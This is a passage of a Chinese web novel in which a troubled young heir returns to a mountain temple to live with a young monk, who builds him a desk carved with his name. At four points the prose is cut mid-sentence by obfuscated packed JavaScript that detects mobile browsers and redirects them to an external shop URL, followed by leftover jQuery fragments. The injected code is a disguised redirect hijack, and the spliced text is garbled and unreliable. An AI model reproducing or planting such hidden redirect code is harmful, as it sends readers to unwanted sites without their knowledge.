;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17362507|198723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”地一声撞上门,迈进阳光中,离开家,程觅才觉得身上轻松了一些。拨通逯卓的电话,跟他约在学校附近常去的网吧,程觅收起手机,脑子不受控地想了一路程昌磊的话,越想越反胃。 “我亲爱的大少爷,别想了,这不纯纯是给自己添堵么。”逯卓蹲在网吧的转椅上,颈间挂着魔声耳机,两只手在键盘上飞舞,“别一副苦大仇深的样子了,来,炫两把。” 面前的电脑黑着屏,程觅仰躺在椅子上,一脚踩着电脑箱,翘着二郎腿,唇间叼了根烟,装逼用的,没点燃:“你说,我究竟怎么才能证明我跟程昌磊不是一类人?” “那太好办了,直接跟他坦白,你喜欢男的。”逯卓“嘿嘿”两声笑,“吓死丫的。” 程觅斜了逯卓一眼:“几天不见皮痒痒了是吧?” “哎操,输了。”拿掉耳机,逯卓转向程觅,端抱胳膊一脸无奈地叹了口气,“少爷,想开点儿,不管你爹渣得有多离谱,你确实是他儿子,这一点不能改变。至于怎么证明,你管他怎么想的呢?说句不好听的,你是什么样的人对他来讲根本不重要,你别忘了,你爹还有俩儿子呢。” 网吧的空调坏了,放眼望去全是光膀子的,一片油光锃亮,程觅忍受不了汗臭味儿:“换个地儿吧,这味儿快给我熏晕了。” “啥味儿?”逯卓皱皱鼻子,“这不就是男人的味儿吗?有啥受不了的,都大老爷们儿。” 以前跟一帮人挤在一间小破网吧里,烟味、酒味、汗骚味什么杂七杂八的味道都有,程觅也没觉得难闻,如今却一分钟也待不下去。他不想否认,此时此刻,的确让他无比怀念檀香的味道。 转战到台球厅,逯卓叫来经常一起玩的几个兄弟开了一局,程觅推了几杆,一点兴致都提不起来。窝在一旁的折叠椅里,程觅没搞清楚自己现在是个什么状况,十八岁的年纪,正是对这些娱乐项目乐此不疲的时候,可自己就是开心不起来。 被程昌磊刺激到了?不至于。支着球杆盯着面前晃动的人影,脑中却出现了不一样的画面,程觅舔了舔嘴唇,目光扫向别处,不知为何,他突然有点怀念住在檀赞寺的时光,怀念那间简陋的木屋,怀念自己睡觉的时候,有个人默默地守在一旁。 明明才离开几个小时,连一天时间都不到,程觅已经动了想要回去找沈岸寻的念头了。 19.第19章 正文019 落日余晖淋照在通往檀赞寺的长阶入口,程觅下了出租车,抬头望了一眼即将落入山间的夕阳,然后远眺长阶尽处。 上午才离开,下午就回来,昨天说着“不知道什么时候才能再见面”的话,程觅对自己十分无语。原因是什么,只是为了求个心安?程觅懒得琢磨了,暂且归结为自己已经不再适应跟着身边那帮狐朋狗友瞎混,不再适应热闹,家里的事情够糟心的了,他需要安静的环境来消化。 见到沈岸寻应该说些什么?程觅没想好。迈上台阶,他遇见了几个从山上往下走的小商贩,他的步伐很慢,偶尔扶一下栏杆,心里有些忐忑。 沈岸寻还会收留他吗?他该以什么样的理由继续留在这里呢? 脑中乱糟糟的,程觅一步一个台阶走得心不在焉。时间没过多久,走了没几步,一位身穿亚麻布衣的老人出现在程觅的视野中,他走路的步伐极其迟缓,行动相当吃力,正卖力地抓着道旁的扶手,努力朝着山上迈进。 来到老人身后,程觅歪着脑袋查看老人的长相——花白的胡子很浓密,几乎快要遮住嘴巴,脸上挤满了褶子,老人斑严重,但依旧能辨识得出他正弯着眼睛,一副乐观的模样。 爬得这么费劲,这么辛苦,反正自己也是要到山上去,程觅索性绕到老人跟前,说:“爷爷,我背你上去吧。” 闻声抬头眯起眼,打量了片刻面前的年轻人,老人将垂在身侧的一只手背到身后,笑道:“小伙子,你可不胖,我这重量要是压在你身上,你怕是寸步难行啊。” “您也不胖啊,不试试怎么知道我不行。”程觅说,“太阳都要落山了,您要是自个儿往上爬,那得爬到什么时候去。” “哎呀。”老人摆手,“总归是能爬上去的。” “您别客气了,快上来吧。”转身把后背对着老人,程觅拍拍自己肩膀,“可别小瞧当代青年的体格。” “那我真不客气咯。”慢慢悠悠地攀住程觅肩膀,老人费劲地抬起一条腿,程觅在抓住老人的腿后,歪身将另一条腿稳当地捞起来。 “怎么样?”老人问,“沉不沉?” “小意思。”老人的重量比程觅想象得要轻。调整了一下姿势,程觅尝试着迈出一步,还行,不累,但能不能一口气爬到山顶,心里确实没底。 一阵风吹过,程觅加身呼吸闻了闻,与老人闲聊道:“爷爷,你身上怎么有股佛香味儿啊?” “幸好,只要不是老人味儿就行。”老人说,“因为我常年住在山上的寺庙里。” “您住在檀赞寺里吗?”程觅好奇地问,“您也是和尚吗?” 老人点头回答:“是呀。” “那您怎么穿着现代人的衣服?”程觅又问,“和尚不应该穿袈裟或者罗汉卦吗?” 老人如实道:“我去看我母亲啦。” 程觅:“您母亲?她不跟您住在一起吗?” “嘿嘿”两声笑,老人反问:“她又没有出家,为什么要住寺庙里头?” 注意力被对话吸引,程觅反倒觉得不怎么累了,他走得虽然慢,但步伐却稳:“那您岂不是不能经常见到您母亲?您今年多大岁数啊?您母亲是不是得有一百岁了?” “七十九啦。”被问了这么多问题,老人非但不反感,反而跟程觅聊得兴致勃勃,“如果我母亲还活着,应该有一百零三岁咯。” 这句话程觅不知道该怎么往下接了。 又上了十级台阶,长阶走过半程,程觅才小声道:“您母亲……” “十年前去世的。”老人按住程觅的肩,轻轻拍了拍,“是喜丧,活了九十三岁,多了不起啊,年轻人,提到生死不用那么紧张。” 不管是身上的佛香味,还是谈吐间展现出来的儒雅气质,程觅偏头看着老人,老人依旧目视前方,脸上始终挂着慈祥的笑意。 “既然您住在檀赞寺,那您认不认识一个叫沈……空觉的人?” 花白的胡子朝两边舒展,老人笑着说:“空觉果然没说错,你这个孩子啊,总是有问不完的问题。” “啊?”程觅没听明白,“什么意思?” “空觉啊……”提到沈岸寻,老人的神情似乎变得更慈爱了,“最近开始有点心不在焉咯。” 程觅问:“怎么个心不在焉法儿?” “空觉从六岁开始吃斋念佛,虽然最初本性难改,但适应了新环境之后,凡是让他背的书,抄的经文,十二年了,从来没有出现过错误。”老人同程觅讲道,“也就是最近这两天吧,念佛会停顿,经文会抄错,很显然,他的脑子里开始在想除了佛祖以外的事情咯。” 听完老人的这番话,程觅更加好奇了:“您是空觉小师父的什么人啊?” “算是他的老师,但我把他当朋友。”老人回答,“不过从‘孝义’的层面上来讲,我也可以算是他的父亲,尽管我们的年龄差距都能当爷儿孙啦。” 对话间隔的时间拉长,程觅忽然觉得身上的人似有千斤重。他没弄得太明白老人与沈岸寻之间的关系,但他清楚这位老人对沈岸寻一定非常重要。 檀赞寺映入眼帘,距离正门还剩几十步的距离,长阶之上等着一个人,不是沈岸寻,不过他也穿着罗汉卦,显然是寺里的僧人。 寻见老人的身影,小僧迅速跑下台阶,先冲程觅行礼,而后便要将老人接过来。程觅错身躲掉对方伸来的手,婉拒道:“别换人了,没几步了,我没事儿的。” 小僧仍执着地伸着手,老人见状发话:“不是说过不让你等在门口的吗?该念佛念佛,该打扫卫生打扫卫生,我好得很,不用记挂。” 小僧担忧地说:“可是师父……” 老人冲自己的弟子推了推手:“就让这位年轻人背我上去吧。” 三两步路踏上平地,程觅踩稳后蹲下身,两只手护着老人慢慢站稳身体。太阳落山了,檀赞寺正门口点起了两盏油灯,柔和的光线落在程觅脸侧,照亮他满脸的汗水。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366038|198723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “辛苦你啦。”老人背起手,念出程觅的名字,“程觅小施主。” 程觅神色惊讶:“您认识我?” “略知一二,略有了解。”老人说,“从空觉那里听来的。” 程觅听罢,没忍住开心,再次确认:“空觉小师父真的跟您提起过我?” “凡是发生在这山上的大事小事,我都清楚,空觉的屋子里多住了一个人,这么大的事情,我怎么可能不知道呢?”老人摸了下胡子,“只要我问他,他一定会跟我实话实说的。” 弯曲食指蹭了蹭鼻尖儿,程觅不死心地问:“您是……怎么问的他啊?” 老人回道:“我问空觉,你屋子里住的是什么人哪?” 见老人故意停顿,程觅语声急切:“他怎么回的?” 加深目光看着程觅,老人的表情变得异常欣慰:“空觉说,住的是他的朋友。” 朋友……朋友?朋友! 与老人分别后,程觅在心里反复念着这个词。昨晚他因害怕听不到沈岸寻的答复,没敢将自己的期待问出口,然而眼下,他却已经得到了他最想听到的答案。 天色呈现黛蓝,程觅踩着上行的坡路,视界中心是那间狭小的木屋。明明说的是今天离开,现在却又折返,走到跟前,程觅透窗瞄了眼屋内,沈岸寻不在。 门没锁,程觅没好意思进屋,坐在门口的台阶上,心情忐忑地等待沈岸寻回来。 如果沈岸寻问起,该用什么样的理由或者借口继续留在他家?程觅想不出来。左等右等,饭点儿都过了,程觅又渴又饿,依旧守在木屋前,左右腿交换着支着胳膊。 暮钟早就响过了,夜幕降临,程觅寻思沈岸寻也该回来了,结果一直等到晚上八点半,困得他脑门子磕了三次膝盖,终于听见了脚步声。 沈岸寻朝着木屋走来,在看到程觅之后,就这么平静地注视着他,表情没有任何变化。 本来已经打好了草稿,第一句先打招呼,象征性地客套一下,第二句解释去而复返的原因,第三句不要脸地讲出“麻烦再次收留我”的请求,但就连程觅自己都没预料到,张嘴说出口的话竟然是:“你去哪儿了?怎么才回来?” 话音没落程觅就闭上了嘴,明明是自己言而无信,离开了又跑回来,眼下却像是在抱怨沈岸寻不管他。就在程觅以为沈岸寻不会接他话的时候,沈岸寻很快回道:“今天师兄给我们开法会。” 两个人一坐一站。仰着脑袋望着沈岸寻,程觅点头说:“哦。” 接下来应该聊些什么,程觅的大脑正飞速运转。想要继续留宿,沈岸寻会不会觉得太打扰?会不会认为自己是个甩不掉的大麻烦?大包袱?怎么扔都扔不掉?程觅换位思考了一下……假如是自己碰上这么个人,他一定会认为这人是个无赖,没脸没皮,能躲多远就躲多远。 沈岸寻:“程觅。” 程觅的肩线倏地绷直了:“哎!怎么了?” 沈岸寻问:“等我这么久,你饿不饿?” 20.第20章 正文020 沈岸寻在灶前忙碌着,左手边放着还在滴水的茄子,程觅坐在小板凳上靠着墙,离沈岸寻有些距离。 从打开门迈进屋里开始,程觅就这么盯着沈岸寻的背影,脑子里乱七八糟跟过电影似的,具体在想什么,他也琢磨不出个所以然。 面前这间破败的屋子,有什么值得留恋的?肯定比不上他那舒服的大豪宅。脚下是水泥地,身旁是一张窄小的木床,灶台、蒲团、衣架,屋里的内容甚至没办法再简单化,仅仅能够勉强维持最基本的生活,可程觅却好像是一脚踏进了自己的舒适区域,身上所有的疲惫感瞬间蒸发。 从小娇生惯养、在外必须住五星级酒店的程觅,连他自己都没想到,居然能够蜗居在这破木屋里这么长时间。 生火热锅,沈岸寻往锅中倒了几滴橄榄油,“呲啦”一声,程觅失焦的视线终于聚焦。茄子的香气扑面而来,程觅这时才开口问:“小师父,你不问我为什么又回来了吗?” 沈岸寻没回答,程觅也不尴尬,不会觉得不自在,胳膊肘架在弓起的膝盖上,手掌支着脑袋继续盯着人看。目光不自觉从沈岸寻的肩膀落到手腕上,程觅又问:“我能在你这里多住几天吗?” 热腾腾的茄汁淋在米饭上,沈岸寻答非所问:“洗手吃饭。” “得令。”扶着膝盖慢慢起身,程觅怕起猛了又栽一跟头,大少爷听话极了,立马应声,“这就去洗。” 跑去屋外洗干净手,搬着小板凳窝在灶台旁边闷头大口吃茄子盖饭,香得程觅直想跺脚,太好吃了。家里哪顿饭不是大鱼大肉,程觅还总挑食,连一向最宠他的方姨都埋怨他嘴刁,总是不知道应该给他做什么饭吃才好,然而偏偏在沈岸寻这里,最朴素的饭菜胜过世间所有山珍海味。 吃饱喝足,疲乏感才顺着骨缝丝丝缕缕透出来,背着人从山下爬到山上,此刻小腿肚子开始发酸发麻,程觅被强烈的困意席卷,洗完碗,回来时沈岸寻已经打坐了,他于是轻手轻脚地拿起自己的牙刷,去水池前洗脸刷牙。 躺到床上,感受着困意,望着单调的天花板,程觅盯了一会儿,还是没忍住,闲聊的语气开口说:“我今天回来的时候,遇到了一位老僧人。” 本想直接跟沈岸寻描述自己的经历,没想着对方能回他些什么,程觅还没来得及往下说,沈岸寻道:“我欠你一个人情。” “嗯?”程觅愣了一下,歪头看向沈岸寻,“人情?什么人情?” 沈岸寻闭着眼睛:“你遇到的老僧人是我师父,接他回寺里的应该是我们,让你辛苦了。” 程觅一时没想到该怎么接话,沈岸寻这话说得太客气,他好像从来没对自己这么客气过,听得他有点别扭。乱了一天的思绪此时在黑暗的包裹下,正在慢慢回归到正事儿的思考上——兜兜转转还是回来沈岸寻这里了,不过计划该做的事情还是要做,雅思考试的复习资料还在家里,程觅决定先睡足觉,明早睡醒给逯卓打电话。 程觅一向不会让沈岸寻的话落空,即便困得不行,他还是问了一个自己一直想问的问题。 “小师父,每晚都见你打坐,没见你睡过觉,你是怎么做到白天都不困的?”程觅问,“你坐着也能睡着吗?” 程觅住下之后,沈岸寻每天清早都会回寺里补觉,中午也能睡上一小觉,每晚打坐也是一种休息。沈岸寻每天睡眠的时间很短,一个人在家的时候,晚上不论何时睡,四个小时准醒。 但沈岸寻没有告诉程觅自己这些天其实有在寺里补觉:“能。” 他怕程觅该因此不睡他床了。 沾上枕头就没了意识,一觉睡到天光大亮,睡得程觅骨头酥软,睁眼时浑身无力。缓了片刻,他才去看沈岸寻,对方没在,屋子里亮得刺眼,不用看手机,程觅也知道时候不早了。 关上水龙头,挂着一脸水汽,程觅拨通逯卓的号码,三下嘀响,对面接通了,逯卓的嗓音闷闷的,一听也是刚睡醒。 逯卓没好气道:“嘛呀!” 右手往脸上胡撸一把,程觅说:“去趟我家,把我的雅思复习资料拿过来,都在我的紫色书包里,我在檀赞寺等你。” “不去,晦气。”逯卓果断拒绝,“程一珂上次看见我,跟在家里撞见了只耗子似的,一个劲儿质问钟叔为什么让外人进他家门,靠!老子在你家吃喝拉撒的时候丫他妈还没断奶呢。” “受苦了兄弟。”程觅道,“为我再委屈一次呗,条件你开。” 逯卓:“免谈!” 躲在院墙外的阴影里乘凉,程觅脑子转得飞快:“前些天我舅说要给我邮寄两双全球限量版的球鞋,我要不……给他报一个你的鞋码?” 电话那端静了片刻,逯卓放平语调,客气地问:“两双都买我的鞋码吗?” “滚你……”程觅咬了下舌头,“一边儿待着去,怎么也得给我留一双。” “行。”痛快答应,逯卓掀开被子坐起来,挠着鸡窝头,“不过还有个条件,这次你下台阶来拿东西,老子说什么也不爬山了,一级台阶都不爬,上回累死我了。” 程觅道:“没问题。” 逯卓用肩膀和脸庞夹着手机,边穿裤子边问:“就一个紫色书包对吧,还有啥其他东西吗?我可就去这一趟啊。” 程觅补充:“还有我的错题本,应该就摊在书桌上。” “行,记住了。”逯卓无奈地叹了口气,“少爷,我算是明白了,我就是你的工具人,你需要我干啥我就得干啥。” 程觅卖乖道:“逯爷,您真是我的活菩萨,救我于水火,功德无量,阿弥陀佛。” “别假惺惺的了。”逯卓“嘁”了一嘴,问,“话说回来,你怎么还跟那寺庙里头晃悠呢?不是……少爷,咱到底哪儿根筋搭错了?外头的漂亮弟弟那么多,你干吗非祸祸人家出家人啊?” 程觅强忍着骂脏字的冲动,说:“祸祸个屁,我只想给人磕头行礼,半点杂念都不敢有,你这嘴巴没个把门儿的,积点儿德吧。” 话虽这样说,程觅却在此刻无端生出一股子莫名其妙的心虚来。越是心虚,他就越容易烦躁。 “你毕竟是个外人,长时间住人那里不合适。”逯卓道:“别到时候人家觉得你老是赖着不走,该烦你了。” “不可能。”没发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17369867|198723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉自己语气里带着微许不满,程觅说,“你少挑拨离间,我俩好着呢。” 听筒对面无声几秒,逯卓撇了下嘴:“以前你一有事儿就往我这儿跑,现在就知道叫我给你跑腿儿,我是不清楚你跟谁好,反正咱俩是不太好了。” 程觅语声郑重:“两双鞋都买你的鞋码。” 逯卓立马改口:“是我不懂事了,还得是我家大少爷,咱俩天下第一好。” “哦对,差点忘了最重要的。”程觅说,“给我带瓶薄盐黄豆酱。” 逯卓:“哈?” “出家人吃饭太清淡了,一顿两顿还行,饿的时候吃起来倒也挺香的。”程觅道,“但长期这么下去我怕我要失去味觉了。” “那辣椒酱?口味儿太重了是吧,牛肉酱?哦不行,牛肉酱里有肉。”逯卓托着下巴琢磨,“橄榄菜?豆腐乳?蘑菇酱?” 程觅说:“谁知道哪些酱料用的是猪油,保险起见,就黄豆酱吧。” 逯卓听罢,沉重道:“少爷,人类的悲欢并不相通,恕我实在无法同情您,放着好吃好喝的日子不过,非得去历劫,这都是您自找的,该着吧。” “少臭贫了。”抬手挥开耳边“嗡嗡”乱飞的蚊子,程觅朝着山下的方向走去,“你让出租车司机直接定位‘檀赞寺公交站’,我就在那儿等你。” 挂断电话,程觅双手插兜,慢悠悠地往山下挪步。懒洋洋地晒着竹林间的阳光,程觅盯着脚下的台阶,脑子里在想事情。 不回家了,又可以住在沈岸寻这里了,只是方才逯卓的那句“别到时候人家觉得你老是赖着不走,该烦你了”,其实让程觅非常在意。 许是周遭太空旷、太安静,微热的夏风将思绪缕清,程觅边走边思考,好像思考出来一点原因——为什么自己喜欢住在沈岸寻的家里。 程觅其实更喜欢性格温凉平和的人,因为他自己总是心浮气躁,一点就炸毛。在他烦躁的时候,他更渴望对方能够倾听,有耐心地听他讲话,逯卓通常是“举一反三”,你说一句他能贫上一百句,只会让程觅觉得火上浇油,更加心烦意乱。 而沈岸寻总是耐心地听他讲话,那人就坐在离床很近的蒲团上,不插嘴、不打断、不评价,安静地听,默默地听。哪怕对方并没有真的在听,程觅也会觉得沈岸寻是在陪着他的,这让他感到非常有安全感。 程觅曾经在檀赞寺听到有人说,人们为何要信佛?最通俗的理解,和程觅渴望的差不多,无非是为自己创造一个倾诉的途经,将执念告知佛祖,求得内心的安宁和圆满,孤身一人时可以感受到佛祖的慈悲加持,其实归根结底,是为了让自己的心能够被这种安全感填满。 坐在公交车站两块广告牌中间的长椅上,斜靠着一侧,望着正午阳光下金灿灿的马路,程觅凝视几分钟,又回过头望了一眼被山上树荫遮掩起来的檀赞寺,从他的视角看过去,如果没有指示牌,不仔细看的话,其实连长阶的入口都很难找到。 这几天的经历总是让程觅忍不住怀疑,檀赞寺是否真的存在,沈岸寻是否真的存在,人间真的有这样一个与世无争的地方,住着如此纯洁纯粹的人吗? 21.第21章 正文021 不知时间过去多久,直到一辆出租车停在公交站前,程觅才停止思考,聚焦视线,看见逯卓背着他的紫色书包钻到车外,手上的超市购物袋里装着两瓶薄盐黄豆酱。 程觅把东西接过来,跟逯卓对了下拳头,没停留,挥手示意离开。逯卓一把薅住他的胳膊,试探地问:“我跟哥儿几个组了个局,先网吧再台球厅,真不一起吗?” “不了。”程觅摇头,“我现在玩儿心不大,没什么瘾,先把雅思考试过了再说。” 逯卓只好作罢,问:“你真的要去英国了?你爸虽然混蛋,但给你选的路没得说,美国的学校真挺好的,赌气归赌气,别跟自己的未来过不去。” “你还不了解我么?”程觅回道,“不管我未来是什么样子,都不可能再跟程昌磊扯上关系。” “行,只要是你的选择,我都会无条件支持你。”逯卓点头,“那我走了,随时联系。” 程觅扬了扬下巴:“嗯。” 逯卓离开后,程觅单肩背起书包,站在公交车站上看了会儿来往的车辆,听了会儿人声,转身走向檀赞寺。茂盛的树木投下阴影,将程觅纳入其中,不知为何,离沈岸寻的木屋越近,程觅的心情就越明朗,他好像真的找到了一处可以盛放所有不开心的地方,自由自在地去做自己想做的事情。 回到木屋,灶台上的白瓷碗里盛的是红枣大米粥,旁边的食品袋里装着两个素包子,程觅放下书包捏开包子皮,是白菜粉条馅的。沈岸寻回来过,这是他带给自己的午饭。 搬过来小板凳,程觅就着黄豆酱,吃得津津有味。 三两口解决完午饭,把碗洗干净,程觅拉开书包,取出复习资料,摊开在沈岸寻的床上。周遭静谧无声,屋内气温凉爽,眼下的环境很容易进入学习状态,程觅窝在小板凳上,把床当成桌子,指尖转着笔,正在默背作文模版。 光线渐渐暗下,等程觅觉得白纸发灰、视线有些变暗的时候,沈岸寻回来了。听着对方进屋的动静开了会儿小差,程觅继续把注意力集中在书本上,他还有一部分内容没有复习完。 床板比较低,腰背弓了太长时间,有些酸楚,程觅直起腰身,左手握拳捶了捶。又学了半小时,腰背酸得厉害,程觅想找一处高点儿的地方当书桌,可是木屋里的构造实在简单,能当书桌的除了床就是灶台。 沈岸寻过午不食,他从寺院斋堂里拿了一袋蔬菜面,给程觅做了一碗面条。见沈岸寻不再使用灶台,程觅站起来活动筋骨舒展身体,拿起书本问:“小师父,我能用一下灶台吗?” 沈岸寻盘腿坐在蒲团上,闭着眼,不回答就是默许。程觅搬着板凳来到灶台前,灶台要高于床板,他坐下来感受了一番,觉得身体舒服多了。 但也有缺点,灶台比床板能放东西的面积小多了。灶台上有锅碗瓢盆,程觅的英语书有一半是垂在灶台外面的,偶尔翻一页,只要程觅忘了压住另一边,总会掉到地上。 程觅耐住性子,忍住发火的冲动,他怕打扰沈岸寻打坐,索性把书本放在腿上,要写字的时候再放到灶台上。直到完成今天的复习任务,他才发现时间已过九点,屋外早已换上了夜幕。 囫囵吞下面条,程觅去外面水池洗漱的时候,先在平缓的地面上静立了一会儿。院墙上伏着一只野猫,他就盯着那只猫愣神,让自己身心放空。 但是如果放得太空,他又觉得心里空落落的,没来由的有点恐慌。 父母都变成了无法依靠的人,父亲成了仇人,母亲成了病人。程觅从小就觉得日子过得特别踏实,有爸爸撑腰,有妈妈疼爱,家是底气,他感到幸福极了。 如今底气没了,什么都没了,程觅只要一想到程昌磊就胸闷,一想到冉菁遥就难受,曾经他的前途一片光明,现在,程觅不知道前方等待着他的是什么,就像此时此刻,他只能看见一只猫,猫的身后是无尽的黑暗。 感觉到困了,程觅才想起来该洗漱了,返回木屋时沈岸寻的姿势没有一丝变化。头顶的灯泡在墙上投下明与暗,程觅站在屋门口,本想直接躺到床上,却鬼使神差地没能控制好自己的脚步,来到了沈岸寻的面前。 他不清楚沈岸寻能不能听见他的脚步声,尽管他把步子放得很轻,但依然能在落针可闻的屋子里听到一点动静。程觅蹲下身来,蹲在沈岸寻身前,微微扬头,看着他的脸,心脏剧烈跳动。 程觅不明白自己为什么要这么做,只是单纯地顺着自己的想法做了,或许是因为这几天过得实在有些不真实,沈岸寻这个人的出现以及存在都太不真实了,此时此刻,程觅只想验证眼前的这个人到底是不是真的存在。 可他还是后悔了,他的心跳声仿佛就响在耳边,程觅离沈岸寻太近了,近到就连他自己都觉得这样的距离实在太不礼貌。 沈岸寻比较清瘦,但不是瘦到脱相,脸部线条是圆滑流畅的,只有下颌棱角略显分明。他的五官看上去给人的感觉非常舒服,标致又精致,放到普罗大众中绝对是一眼就能挑出来的优越长相。 肩膀被一层薄薄的僧衣包裹,沈岸寻的肩颈线条和突出来的锁骨一样清晰,再往下就是那双交叠在一起的手,手指修长,指甲剪得干净得体,骨节并不突兀,手腕上的青筋若隐若现。 沈岸寻好像不用呼吸似的,肩膀没有起伏,仿佛早已和空气融为一体。目光移回沈岸寻脸上,程觅看得近乎出神,就在他精神快要恍惚的时候,骤然被一双睁开的眼睛牢牢盯住。 猝不及防与沈岸寻对视,程觅的心脏猛地跳停一拍,吓得后背都发麻了。 他在等沈岸寻先说话,可沈岸寻就这么直直地看着他,时间分秒流逝,丝毫没有要出声的意思。太尴尬了,也太难为情了,程觅绞尽脑汁,应该说点什么?还是就当无事发生,故作镇定起身回床上睡觉? 对视太久了,久到程觅感到浑身都开始不自在,他不太能架得住沈岸寻的目光,这人的眼睛好似能把他吃了。 程觅抿了下嘴:“小师父,我……” 沈岸寻:“睡觉。” 程觅愣了一下:“哦,好的。” 逃跑似的回到床上,这次又起猛了,脑袋有点晕,好在能直接躺下,程觅立马闭上眼睛,什么都不敢想,放松身体进入睡眠状态。 但他还是没能控制好思绪,闭着眼还在想沈岸寻。程觅不禁佩服,沈岸寻真不是一般人,长时间闭眼再睁开,发现面前蹲着个人竟然能无动于衷,换作是他早就吓得魂飞魄散了。 只是程觅没有意识到,这一点对于长年习惯打坐的沈岸寻来讲并不算难事,不过今晚的沈岸寻确实有别于以往的状态,这么多年他还是第一次这么反常。 普通打坐与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376473|198723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入定不同,意识浮于脑海时,沈岸寻可以与外界对话,并不会影响或阻碍他的念佛节奏,他能够在打坐时一心二用。一旦集中思绪,意识下沉心间,沈岸寻从不会在入定时睁眼,内心深处的诵经声不会因外界的任何动静中断。 这是他第一次打破自己的戒律,违背自身规律,因为这个“第一次”,沈岸寻百思不解,眉心始终微皱,一整晚,再也没能进入入定状态。 昨晚忘了设置手机闹铃,今早起晚了,程觅打着哈欠去摸手机,一瞧已经九点半了。一天之计在于晨,错过了最佳的背书时间,程觅赶忙起身去洗漱,想着晚上必须要多学一会儿。 推开门,边往水池走边盯着门前空地上的一堆木头,程觅纳闷是谁放在这里的,打算用来做什么?拧开水龙头,往脸上扑了捧水,刷牙的时候,程觅瞧见沈岸寻背着一块厚重的木板正往这边走。 “小师父,你这是忙啥活儿呢?”牙刷在口腔里一通乱搅,话也吐得不清楚,沈岸寻没回复,脚步没停,程觅猜到沈岸寻大概率不会回应,但他还是自顾自地问了。 程觅从来不会因为沈岸寻不理他而选择不和他说话,反而把沈岸寻的沉默当成是一种纵容,什么都想问,什么都想知道。 潦草地用毛巾擦了把脸,刘海上还挂着水珠子,程觅小跑过去,献殷勤般:“需要我帮忙吗?” 放下木板,沈岸寻捡起一根钉子,拿起锤子说:“回屋看书。” “哦。”程觅又问,“真不用帮忙啊?” 沈岸寻不再多言,程觅站在旁边看他忙了一会儿,也没看明白沈岸寻是要做什么,径自回屋复习去了。 做两道题就从小板凳上站起来,往窗外看去,看看沈岸寻做好了没有。啃着桃酥,程觅继续刷题,直到外面捶东西的声响变成砂纸打磨的声音,他才忍不住好奇扔下书本跑到屋外,想要一探究竟。 是张小桌子。 程觅愣住了。 砂纸打磨了多长时间,程觅就在门口杵了多久,沈岸寻把做好的桌子搬进屋内,他的目光也随着这个人的身影移动,一双眼睛仿佛长在了对方身上。 沈岸寻问:“大小合适吗?” 程觅木讷地眨了眨眼,把灶台上的书本笔袋转移到桌子上,摆好回道:“正合适。” 沈岸寻又问:“高度呢?” 桌子的高度与灶台一样,程觅坐在小板凳上,胳膊肘往桌子上一架,舒服极了:“也正合适。” 沈岸寻没再多言,踱步到屋外,将剩下的木材捆成一捆,背到身后,朝着檀赞寺后门走去。半天过去了,程觅坐在桌子前发呆,浪费了多少时间他是知道的,可他就是看不进去书了,摸着小木桌的边角喜欢得不行。 家里有多少名贵的物品,身上有多少名贵的行头,大少爷向来不缺贵货,这张小桌子没有任何科技含量,纯手工打磨得不算精细,可程觅看重的正是沈岸寻的“纯手工”。 活了十八年,曾有人真正愿意花时间为他做过东西吗?程觅喜欢的东西都是用钱堆起来的,对于他的家人和朋友来讲,花钱是轻而易举的事。他从没收到过这么“廉价”的礼物,程觅却觉得这张小桌子有千斤重,千金不换。 摸着桌沿的手不经意滑过桌角,手感忽然略感粗糙,程觅歪头看过去,整张桌面右下角的位置工整地刻着两个字:程觅。 22.第22章 正文022 一件物品刻上了一个人的名字,就代表这件物品专属于这一个人,任何人不得擅自使用。 程觅此刻的心情好极了。 指尖触摸着名字的印迹,程觅盯着看了一会儿,愈发移不开视线。“程觅”二字刻得精致又精细,一笔一划遒劲有力,规整得像是机雕上去的,程觅不禁思索,沈岸寻用锥子刻出来的字都这么好看,手写的会不会更好看? 脑海中适时地浮现出沈岸寻握笔写字的模样,程觅挑了下眉,心里开始好奇了。 